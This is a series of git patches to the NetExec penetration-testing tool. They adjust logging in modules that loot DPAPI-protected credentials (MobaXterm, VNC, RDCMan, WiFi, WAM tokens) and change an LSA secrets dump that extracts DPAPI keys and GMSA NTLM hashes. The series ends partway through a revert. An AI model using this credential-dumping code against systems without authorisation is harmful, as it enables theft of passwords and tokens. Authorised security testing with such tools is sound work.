self.logger.fail(f"Error running the SQL query: {self.conn.lastError}") return if not rows: - self.logger.display("No backups returned") + self.logger.fail("No backups returned") return else: self.logger.display("Enumerated backups") From 3746e0d8cca12f4993374a5a7271131ee6c94995 Mon Sep 17 00:00:00 2001 From: Roman Karwacik Date: Mon, 14 Sep 2026 13:03:36 +0200 Subject: [PATCH 307/397] Catch LDAP connection errors while checking for signing --- nxc/protocols/ldap.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/nxc/protocols/ldap.py b/nxc/protocols/ldap.py index 4634e9e296..3ac2c00515 100644 --- a/nxc/protocols/ldap.py +++ b/nxc/protocols/ldap.py @@ -160,6 +160,8 @@ def check_ldap_signing(self): self.signing_required = True else: self.logger.debug(f"LDAPSessionError while checking for signing requirements (likely NTLM disabled): {e!s}") + except OSError as e: + self.logger.debug(f"Connection error while checking LDAP signing on {self.host}: {e!s}") def check_ldaps_cbt(self): self.cbt_status = "Never" From d542b20224af11b1f43bb6edb5baf311da4ee422 Mon Sep 17 00:00:00 2001 From: zblurx Date: Mon, 14 Sep 2026 16:11:15 +0200 Subject: [PATCH 308/397] fix logging origin in dpapi related modules --- nxc/helpers/dpapi.py | 6 ++++-- nxc/modules/mobaxterm.py | 11 +++++++++-- nxc/modules/mremoteng.py | 2 +- nxc/modules/rdcman.py | 4 ++-- nxc/modules/vnc.py | 8 ++++---- nxc/modules/wam.py | 2 +- nxc/modules/wifi.py | 10 +++++----- 7 files changed, 26 insertions(+), 17 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index 217ae7c928..a55a665a2b 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -108,9 +108,11 @@ def __del__(self): if self.output_file is not None and self.secrets_counter > 0: self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}") - def log_secret(self, line): + def log_secret(self, line, logger=None): # Handle the secret counter here, avoid to handle it in multiple places - self.connection.logger.highlight(line) + if logger is None: + logger = self.connection.logger + logger.highlight(line) with open(self.output_file, "a", encoding="utf-8") as fd: self.secrets_counter += 1 fd.write(line + "\n") diff --git a/nxc/modules/mobaxterm.py b/nxc/modules/mobaxterm.py index a153bb8dbc..89e7b6fd3e 100644 --- a/nxc/modules/mobaxterm.py +++ b/nxc/modules/mobaxterm.py @@ -1,4 +1,4 @@ -from dploot.triage.mobaxterm import MobaXtermTriage +from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword from nxc.helpers.misc import CATEGORY @@ -19,9 +19,16 @@ def on_admin_login(self, context, connection): context.log.fail("No masterkeys looted") return + def mobaxterm_callback(credential): + if isinstance(credential, MobaXtermCredential): + log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) + elif isinstance(credential, MobaXtermPassword): + log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) + connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log) + try: context.log.success("Looting MobaXterm secrets") - triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys) + triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback) triage.triage_mobaxterm() except Exception as e: context.log.debug(f"Could not loot MobaXterm secrets: {e}") diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index 92749d1b06..474c284e49 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -112,7 +112,7 @@ def handle_confCons_file(self, file_content): protocol = node_attribute["Protocol"] port = node_attribute["Port"] host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " " - self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}") + self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log) def parse_xml_nodes(self, main): nodes = [] diff --git a/nxc/modules/rdcman.py b/nxc/modules/rdcman.py index 6443a7564c..34e4b8573a 100644 --- a/nxc/modules/rdcman.py +++ b/nxc/modules/rdcman.py @@ -31,7 +31,7 @@ def on_admin_login(self, context, connection): log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" - context.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") + connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log) for rdgfile in rdgfiles: if rdgfile is None: continue @@ -39,6 +39,6 @@ def on_admin_login(self, context, connection): log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" - context.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") + connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log) except Exception as e: context.log.debug(f"Could not loot RDCMan secrets: {e}") diff --git a/nxc/modules/vnc.py b/nxc/modules/vnc.py index 979e6e06b4..aa2dab79a4 100644 --- a/nxc/modules/vnc.py +++ b/nxc/modules/vnc.py @@ -96,7 +96,7 @@ def vnc_client_proxyconf_extract(self, dploot_conn): cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1") cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1") - self.context.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") + self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log) def vnc_from_registry(self, dpapi_conn): vncs = ( @@ -122,7 +122,7 @@ def vnc_from_registry(self, dpapi_conn): password = self.recover_vncpassword(value) if password is None: continue - self.context.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}") + self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log) vnc_users = ( ("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"), @@ -149,7 +149,7 @@ def vnc_from_registry(self, dpapi_conn): if "ERROR_FILE_NOT_FOUND" not in str(e): self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}") continue - self.context.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") + self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log) def split_len(self, seq, length): return [seq[i:i + length] for i in range(0, len(seq), length)] @@ -201,7 +201,7 @@ def vnc_from_filesystem(self, dploot_conn): for passwd_encrypted in passwds_encrypted: passwd_encrypted = passwd_encrypted.split(b"=")[-1] password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8] - self.context.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}") + self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log) def get_users(self, conn): users = {} diff --git a/nxc/modules/wam.py b/nxc/modules/wam.py index 25aed0711f..d8d26657c8 100644 --- a/nxc/modules/wam.py +++ b/nxc/modules/wam.py @@ -31,7 +31,7 @@ def token_callback(token): decoded_token = jwt.decode(access_token, options={"verify_signature": False}) if "preferred_username" in decoded_token: # Assuming that if there is no preferred_username key, this is not a valid Entra/M365 Access Token - context.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}") + connection.dpapi_triage.log_secret(f"[{token.winuser}] {decoded_token['preferred_username']}: {access_token}", self.context.log) try: triage = WamTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_token_callback=token_callback) diff --git a/nxc/modules/wifi.py b/nxc/modules/wifi.py index 13619d8041..ce13e49471 100644 --- a/nxc/modules/wifi.py +++ b/nxc/modules/wifi.py @@ -32,16 +32,16 @@ def on_admin_login(self, context, connection): context.log.highlight(f"[OPEN] {wifi_cred.ssid}") elif wifi_cred.auth.upper() in ["WPAPSK", "WPA2PSK", "WPA3SAE"]: try: - context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}") + connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password.decode('latin-1')}", self.context.log) except Exception: - context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") + connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log) elif wifi_cred.auth.upper() in ["WPA", "WPA2"]: try: if wifi_cred.eap_username is not None and wifi_cred.eap_password is not None: - context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}") + connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type} - Identifier: {wifi_cred.eap_username}:{wifi_cred.eap_password}", self.context.log) else: - context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}") + connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - {wifi_cred.eap_type}", self.context.log) except Exception: - context.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}") + connection.dpapi_triage.log_secret(f"[{wifi_cred.auth.upper()}] {wifi_cred.ssid} - Passphrase: {wifi_cred.password}", self.context.log) else: context.log.highlight(f"[WPA-EAP] {wifi_cred.ssid} - {wifi_cred.eap_type}") From e1930979698ecd1232009d9e3be83400d42d298c Mon Sep 17 00:00:00 2001 From: zblurx Date: Mon, 14 Sep 2026 16:44:43 +0200 Subject: [PATCH 309/397] adapt LSA dump to dpapi upgrade --- nxc/protocols/wmi.py | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index 115e074f16..d253892637 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -472,10 +472,18 @@ def add_sam_hash(sam_hash): self.logger.success(f"Dumped {highlight(add_sam_hash.sam_hashes)} SAM hashes to {output_filename + '.sam'}") @requires_admin - def lsa(self): + def lsa(self, quiet=False): def add_lsa_secret(secret): add_lsa_secret.secrets += 1 - self.logger.highlight(secret) + if "dpapi_machinekey" not in secret: + if not quiet: + self.logger.highlight(secret) + else: + correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"} + self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())} + if not quiet: + self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}") + self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}") if "_SC_GMSA_{84A78B8C" in secret: gmsa_id = secret.split("_")[4].split(":")[0] data = bytes.fromhex(secret.split("_")[4].split(":")[1]) @@ -485,7 +493,8 @@ def add_lsa_secret(secret): ntlm_hash = MD4.new() ntlm_hash.update(currentPassword) passwd = binascii.hexlify(ntlm_hash.digest()).decode("utf-8") - self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") + if not quiet: + self.logger.highlight(f"GMSA ID: {gmsa_id:<20} NTLM: {passwd}") add_lsa_secret.secrets = 0 @@ -508,12 +517,14 @@ def add_lsa_secret(secret): isRemote=None, perSecretCallback=lambda secret_type, secret: add_lsa_secret(secret), ) - self.logger.display("Dumping LSA secrets") + if not quiet: + self.logger.display("Dumping LSA secrets") LSA.dumpCachedHashes() LSA.exportCached(output_filename) LSA.dumpSecrets() LSA.exportSecrets(output_filename) - self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {output_filename + '.secrets'} and {output_filename + '.cached'}") + if not quiet: + self.logger.success(f"Dumped {highlight(add_lsa_secret.secrets)} LSA secrets to {output_filename + '.secrets'} and {output_filename + '.cached'}") @requires_admin def ntds(self): @@ -742,7 +753,7 @@ def remote_ops(self): if self._remote_ops is None: self._remote_ops = RemoteOperations(self, shadow_id=self.args.shadow_id) return self._remote_ops - + @requires_admin def sccm(self): self.dpapi_triage.triage_sccm() From 4fd05318dff42c2eeb7595e0f135aa644d74bf27 Mon Sep 17 00:00:00 2001 From: zblurx Date: Mon, 14 Sep 2026 17:57:44 +0200 Subject: [PATCH 310/397] check filesize and warn user if too big --- nxc/protocols/wmi.py | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/nxc/protocols/wmi.py b/nxc/protocols/wmi.py index d253892637..9795fe1f6a 100644 --- a/nxc/protocols/wmi.py +++ b/nxc/protocols/wmi.py @@ -390,6 +390,20 @@ def read_file(self, remote_path) -> bytes | None: if powershellv3_namespace is None: return None + # Check file size + def callback_func(iEnumWbemClassObject, records): + wmi_results = iEnumWbemClassObject.Next(0xFFFFFFFF, 1)[0] + record = dict(wmi_results.getProperties()) + callback_func.size = record["FileSize"]["value"] + + callback_func.size = 0 + + wql = f"SELECT FileSize FROM CIM_DataFile WHERE Name = '{escaped_path}'" + self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func) + # If file is bigger than 70MB, print a warning + if callback_func.size > 73400320: # 70MB + self.logger.fail(f"{remote_path} filesize is {callback_func.size/1024**2:.2f} Mo. The download will take some time and can crash.") + # Read the file try: object_path = f'PS_ModuleFile.InstanceID="{escaped_path}"' @@ -659,7 +673,7 @@ def callback_func(iEnumWbemClassObject, records): record = dict(wmi_results.getProperties()) records.append(record) - snapshots = self.wmi_query(wql=wql, namespace="root\\cimv2", callback_func=callback_func) + snapshots = self.wmi_query(wql=wql, namespace="//./root/cimv2", callback_func=callback_func) if not snapshots: self.logger.info("No volume shadow copies found.") return From 47af3a022cc8bf3f494bc782bd873f16211b4fa7 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 15 Sep 2026 14:46:29 -0400 Subject: [PATCH 311/397] Formatting --- nxc/modules/mobaxterm.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/nxc/modules/mobaxterm.py b/nxc/modules/mobaxterm.py index 89e7b6fd3e..c0fc21c6c8 100644 --- a/nxc/modules/mobaxterm.py +++ b/nxc/modules/mobaxterm.py @@ -21,9 +21,9 @@ def on_admin_login(self, context, connection): def mobaxterm_callback(credential): if isinstance(credential, MobaXtermCredential): - log_text = "{} - {}:{}".format(credential.name, credential.username, credential.password.decode("latin-1")) + log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}" elif isinstance(credential, MobaXtermPassword): - log_text = "{}:{}".format(credential.username, credential.password.decode("latin-1")) + log_text = f"{credential.username}:{credential.password.decode('latin-1')}" connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log) try: From df9c32276ae576b6b87891005fba2af64e95a41e Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Tue, 15 Sep 2026 14:46:59 -0400 Subject: [PATCH 312/397] Update lock files --- poetry.lock | 64 ++++++++++++++++++++++++++++++++++++++++++++--------- uv.lock | 8 +++---- 2 files changed, 58 insertions(+), 14 deletions(-) diff --git a/poetry.lock b/poetry.lock index 0aee7a649f..3e369e2e7b 100644 --- a/poetry.lock +++ b/poetry.lock @@ -834,27 +834,24 @@ wmi = ["wmi (>=1.5.1)"] [[package]] name = "dploot" -version = "4.0.0" +version = "4.1.1" description = "DPAPI looting remotely in Python" optional = false -python-versions = ">=3.10,<4.0" +python-versions = "<4.0,>=3.10" groups = ["main"] -files = [] -develop = false +files = [ + {file = "dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a"}, + {file = "dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248"}, +] [package.dependencies] cryptography = ">=40.0.1" impacket = ">=0.13.0" lxml = ">=5.0" +pick = ">=2.6.0,<3.0.0" pyasn1 = ">=0.4.8" pypsrp = ">=0.9.1,<0.10.0" -[package.source] -type = "git" -url = "https://github.com/zblurx/dploot.git" -reference = "network_proto_upgrade" -resolved_reference = "291d79d087a7eae99126688d35ed4f766b7ba80e" - [[package]] name = "dsinternals" version = "1.2.5" @@ -1754,6 +1751,24 @@ files = [ {file = "pefile-2024.8.26.tar.gz", hash = "sha256:3ff6c5d8b43e8c37bb6e6dd5085658d658a7a0bdcd20b6a07b1fcfc1c4e9d632"}, ] +[[package]] +name = "pick" +version = "2.6.0" +description = "Pick an option in the terminal with a simple GUI" +optional = false +python-versions = ">=3.8" +groups = ["main"] +files = [ + {file = "pick-2.6.0-py3-none-any.whl", hash = "sha256:2acd5cad09be96398fba3b8be89454929de7b05362e01c69d94a05801820871f"}, + {file = "pick-2.6.0.tar.gz", hash = "sha256:f24434a845ae9265ebf7657fc224b9a203ac75aa576b568e061484a72e27be82"}, +] + +[package.dependencies] +windows-curses = {version = ">=2.2.0", markers = "platform_system == \"Windows\""} + +[package.extras] +blessed = ["blessed (>=1.17.0)"] + [[package]] name = "pillow" version = "12.3.0" @@ -2980,6 +2995,35 @@ files = [ [package.dependencies] cryptography = ">=38.0.1" +[[package]] +name = "windows-curses" +version = "2.4.2" +description = "Support for the standard curses module on Windows" +optional = false +python-versions = "*" +groups = ["main"] +markers = "platform_system == \"Windows\"" +files = [ + {file = "windows_curses-2.4.2-cp310-cp310-win32.whl", hash = "sha256:fb55b40df1dd8633f431307f204293ca2a0b4f928927490509f1bf68beef3cfe"}, + {file = "windows_curses-2.4.2-cp310-cp310-win_amd64.whl", hash = "sha256:0ff2a0884cb78d48e15eea1e274f73c1f5a780a4b872357724c17b39de75c996"}, + {file = "windows_curses-2.4.2-cp311-cp311-win32.whl", hash = "sha256:ecf7af9c97002af661d3e47b9c5eb31cdb7629a032adcdab46530efea8ba1864"}, + {file = "windows_curses-2.4.2-cp311-cp311-win_amd64.whl", hash = "sha256:03c4ef0095ab8212ed964236d51b4d8c815f302c5a7de94831dae468f05ce333"}, + {file = "windows_curses-2.4.2-cp312-cp312-win32.whl", hash = "sha256:7ec4629685add716d494e8fbdd0b83485de726e9deeda57d30e742c77a32a156"}, + {file = "windows_curses-2.4.2-cp312-cp312-win_amd64.whl", hash = "sha256:df782859176f9e8142618e4966d6cee7a53a8b1c819faeb6e606a60fa4f8972a"}, + {file = "windows_curses-2.4.2-cp313-cp313-win32.whl", hash = "sha256:248bf3f1d973e92ca193b1ea8a626ec7f81a66be6f6d6c5e31ff82056453678d"}, + {file = "windows_curses-2.4.2-cp313-cp313-win_amd64.whl", hash = "sha256:1bf3d0c902374b6c430a954adcb686a5ecd7a31fc4195d31136385b5c1bea925"}, + {file = "windows_curses-2.4.2-cp314-cp314-win32.whl", hash = "sha256:a970bf067b3126251423b4da051ef8c1c77acf6294ec96a7d6de7f6b9e5c27a0"}, + {file = "windows_curses-2.4.2-cp314-cp314-win_amd64.whl", hash = "sha256:6c22cb0310500dfbfe54c76354e37070e300d5473596d48ac4f9c65b2d578b6f"}, + {file = "windows_curses-2.4.2-cp36-cp36m-win32.whl", hash = "sha256:aa1b97c94882ac0c0019a0dcbb9b57a3f751e166e0ed6d99230e5d77bfb7f2b5"}, + {file = "windows_curses-2.4.2-cp36-cp36m-win_amd64.whl", hash = "sha256:f03193397e20e9f86d5a661c63c01d305d63ffcefc2bca46e1881f2c06af2a38"}, + {file = "windows_curses-2.4.2-cp37-cp37m-win32.whl", hash = "sha256:6ff56a1cc6410cb7600e5af7c01178d534ca704f9bc91da433719fccbe7c26c6"}, + {file = "windows_curses-2.4.2-cp37-cp37m-win_amd64.whl", hash = "sha256:cc890992a9a554b9e39354db672bd2b74110dd5ed7df0386a9c2d2956e964130"}, + {file = "windows_curses-2.4.2-cp38-cp38-win32.whl", hash = "sha256:3a2ece436fa601d71c82f02aa5cf829692ebf77075c64d94af5dfd4a13f31166"}, + {file = "windows_curses-2.4.2-cp38-cp38-win_amd64.whl", hash = "sha256:e716deaff73bbc7336769bdbf2c2b1c4f9ed0743ed6686927af134e7e6f3a699"}, + {file = "windows_curses-2.4.2-cp39-cp39-win32.whl", hash = "sha256:45b1a9cb17712f78ab4a6e9456bd46df35f96f880c1e814f8e0c6b4511a7e89c"}, + {file = "windows_curses-2.4.2-cp39-cp39-win_amd64.whl", hash = "sha256:9de1714af3effdffb3a048dff691c1c1d36c289b8f765c96f148a3dcb9f5984c"}, +] + [[package]] name = "xmltodict" version = "1.0.4" diff --git a/uv.lock b/uv.lock index b2b5a6ca4b..1af913ee81 100644 --- a/uv.lock +++ b/uv.lock @@ -3,7 +3,7 @@ revision = 3 requires-python = ">=3.10, <4.0" [options] -exclude-newer = "2026-09-12T21:55:15.980757914Z" +exclude-newer = "0001-01-01T00:00:00Z" # This has no effect and is included for backwards compatibility when using relative exclude-newer values. exclude-newer-span = "P1D" [[package]] @@ -746,7 +746,7 @@ wheels = [ [[package]] name = "dploot" -version = "4.0.0" +version = "4.1.1" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "cryptography" }, @@ -756,9 +756,9 @@ dependencies = [ { name = "pyasn1" }, { name = "pypsrp" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/59/89/66fcaaa99b85713fe1759a2df0246f94597f7c8d26902a3acdfb0b20ff55/dploot-4.0.0.tar.gz", hash = "sha256:c77303536377e64f43ba8210fc04ed3e787e96b4c105e09f5b9ef55f1cd55e52", size = 71370, upload-time = "2026-08-24T13:06:42.938Z" } +sdist = { url = "https://files.pythonhosted.org/packages/fa/6c/52dee037768f5d940b5ae410d80fd431fef7d210d7f9af83caeb871e88f9/dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248", size = 72339, upload-time = "2026-09-14T13:55:44.529Z" } wheels = [ - { url = "https://files.pythonhosted.org/packages/71/ed/9550cbe71e939b8ef19c3a9bd6dffc25c024ff908e11d9f2efcf8c41176c/dploot-4.0.0-py3-none-any.whl", hash = "sha256:24d0660be049199e363f93d6d10e5336b175cc8b8e6bcedd7382e569190a4542", size = 100723, upload-time = "2026-08-24T13:06:44.254Z" }, + { url = "https://files.pythonhosted.org/packages/19/c0/ede1a114ca34556b2c44844627e043336cb68a76817253682f6d96535fbb/dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a", size = 101304, upload-time = "2026-09-14T13:55:45.849Z" }, ] [[package]] From 11d9151737936555a31eceb9b64cf77c8083e133 Mon Sep 17 00:00:00 2001 From: mpgn <5891788+mpgn@users.noreply.github.com> Date: Tue, 15 Sep 2026 21:41:48 +0200 Subject: [PATCH 313/397] Revert "[DPAPI] Fix logging origin in dpapi related modules" --- nxc/helpers/dpapi.py | 6 ++-- nxc/modules/mobaxterm.py | 11 ++----- nxc/modules/mremoteng.py | 2 +- nxc/modules/rdcman.py | 4 +-- nxc/modules/vnc.py | 8 ++--- nxc/modules/wam.py | 2 +- nxc/modules/wifi.py | 10 +++---- poetry.lock | 64 +++++++--------------------------------- uv.lock | 8 ++--- 9 files changed, 31 insertions(+), 84 deletions(-) diff --git a/nxc/helpers/dpapi.py b/nxc/helpers/dpapi.py index a55a665a2b..217ae7c928 100644 --- a/nxc/helpers/dpapi.py +++ b/nxc/helpers/dpapi.py @@ -108,11 +108,9 @@ def __del__(self): if self.output_file is not None and self.secrets_counter > 0: self.connection.logger.success(f"Dumped {highlight(self.secrets_counter)} DPAPI secrets to {self.output_file}") - def log_secret(self, line, logger=None): + def log_secret(self, line): # Handle the secret counter here, avoid to handle it in multiple places - if logger is None: - logger = self.connection.logger - logger.highlight(line) + self.connection.logger.highlight(line) with open(self.output_file, "a", encoding="utf-8") as fd: self.secrets_counter += 1 fd.write(line + "\n") diff --git a/nxc/modules/mobaxterm.py b/nxc/modules/mobaxterm.py index c0fc21c6c8..a153bb8dbc 100644 --- a/nxc/modules/mobaxterm.py +++ b/nxc/modules/mobaxterm.py @@ -1,4 +1,4 @@ -from dploot.triage.mobaxterm import MobaXtermTriage, MobaXtermCredential, MobaXtermPassword +from dploot.triage.mobaxterm import MobaXtermTriage from nxc.helpers.misc import CATEGORY @@ -19,16 +19,9 @@ def on_admin_login(self, context, connection): context.log.fail("No masterkeys looted") return - def mobaxterm_callback(credential): - if isinstance(credential, MobaXtermCredential): - log_text = f"{credential.name} - {credential.username}:{credential.password.decode('latin-1')}" - elif isinstance(credential, MobaXtermPassword): - log_text = f"{credential.username}:{credential.password.decode('latin-1')}" - connection.dpapi_triage.log_secret(f"[{credential.winuser}] {log_text}", logger=context.log) - try: context.log.success("Looting MobaXterm secrets") - triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys, per_secret_callback=mobaxterm_callback) + triage = MobaXtermTriage(target=connection.dpapi_triage.target, conn=connection.dpapi_triage.conn, masterkeys=self.masterkeys) triage.triage_mobaxterm() except Exception as e: context.log.debug(f"Could not loot MobaXterm secrets: {e}") diff --git a/nxc/modules/mremoteng.py b/nxc/modules/mremoteng.py index 474c284e49..92749d1b06 100644 --- a/nxc/modules/mremoteng.py +++ b/nxc/modules/mremoteng.py @@ -112,7 +112,7 @@ def handle_confCons_file(self, file_content): protocol = node_attribute["Protocol"] port = node_attribute["Port"] host = f" {protocol}://{hostname}:{port}" if node_attribute["Hostname"] != "" else " " - self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}", self.context.log) + self.connection.dpapi_triage.log_secret(f"{name}:{host} - {domain}\\{username}:{password}") def parse_xml_nodes(self, main): nodes = [] diff --git a/nxc/modules/rdcman.py b/nxc/modules/rdcman.py index 34e4b8573a..6443a7564c 100644 --- a/nxc/modules/rdcman.py +++ b/nxc/modules/rdcman.py @@ -31,7 +31,7 @@ def on_admin_login(self, context, connection): log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" - connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log) + context.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") for rdgfile in rdgfiles: if rdgfile is None: continue @@ -39,6 +39,6 @@ def on_admin_login(self, context, connection): log_text = f"{rdg_cred.username}:{rdg_cred.password.decode('latin-1')}" if isinstance(rdg_cred, RDGServerProfile): log_text = f"{rdg_cred.server_name} - {log_text}" - connection.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}", self.context.log) + context.dpapi_triage.log_secret(f"[{rdcman_file.winuser}][{rdg_cred.profile_name}] {log_text}") except Exception as e: context.log.debug(f"Could not loot RDCMan secrets: {e}") diff --git a/nxc/modules/vnc.py b/nxc/modules/vnc.py index aa2dab79a4..979e6e06b4 100644 --- a/nxc/modules/vnc.py +++ b/nxc/modules/vnc.py @@ -96,7 +96,7 @@ def vnc_client_proxyconf_extract(self, dploot_conn): cred["password"] = self.recover_vncpassword(unhexlify(password)).decode("latin-1") cred["server"] = reg.getValue(ntpath.join(registry_path, registry_keys[2]))[1].decode("latin-1") - self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log) + self.context.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") def vnc_from_registry(self, dpapi_conn): vncs = ( @@ -122,7 +122,7 @@ def vnc_from_registry(self, dpapi_conn): password = self.recover_vncpassword(value) if password is None: continue - self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log) + self.context.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}") vnc_users = ( ("RealVNC Viewer 7.x", "HKCU\\Software\\RealVNC\\vncviewer", "ProxyUserName", "ProxyPassword", "ProxyServer"), @@ -149,7 +149,7 @@ def vnc_from_registry(self, dpapi_conn): if "ERROR_FILE_NOT_FOUND" not in str(e): self.context.log.debug(f"Error while RegQueryValue {path}\\{user}: {e}") continue - self.connection.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}", self.context.log) + self.context.dpapi_triage.log_secret(f"[{vnc_name}] {cred['user']}:{cred['password']}@{cred['server']}") def split_len(self, seq, length): return [seq[i:i + length] for i in range(0, len(seq), length)] @@ -201,7 +201,7 @@ def vnc_from_filesystem(self, dploot_conn): for passwd_encrypted in passwds_encrypted: passwd_encrypted = passwd_encrypted.split(b"=")[-1] password = self.recover_vncpassword(unhexlify(passwd_encrypted))[:8] - self.connection.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}", self.context.log) + self.context.dpapi_triage.log_secret(f"[{vnc_name}] Password: {password.decode('latin-1')}") def get_users(self, conn): users = {} diff --git a/nxc/modules/wam.py b/nxc/modules/wam.py index d8d26657c8..25aed0711f 100644 --- a/nxc/modules/wam.py +++ 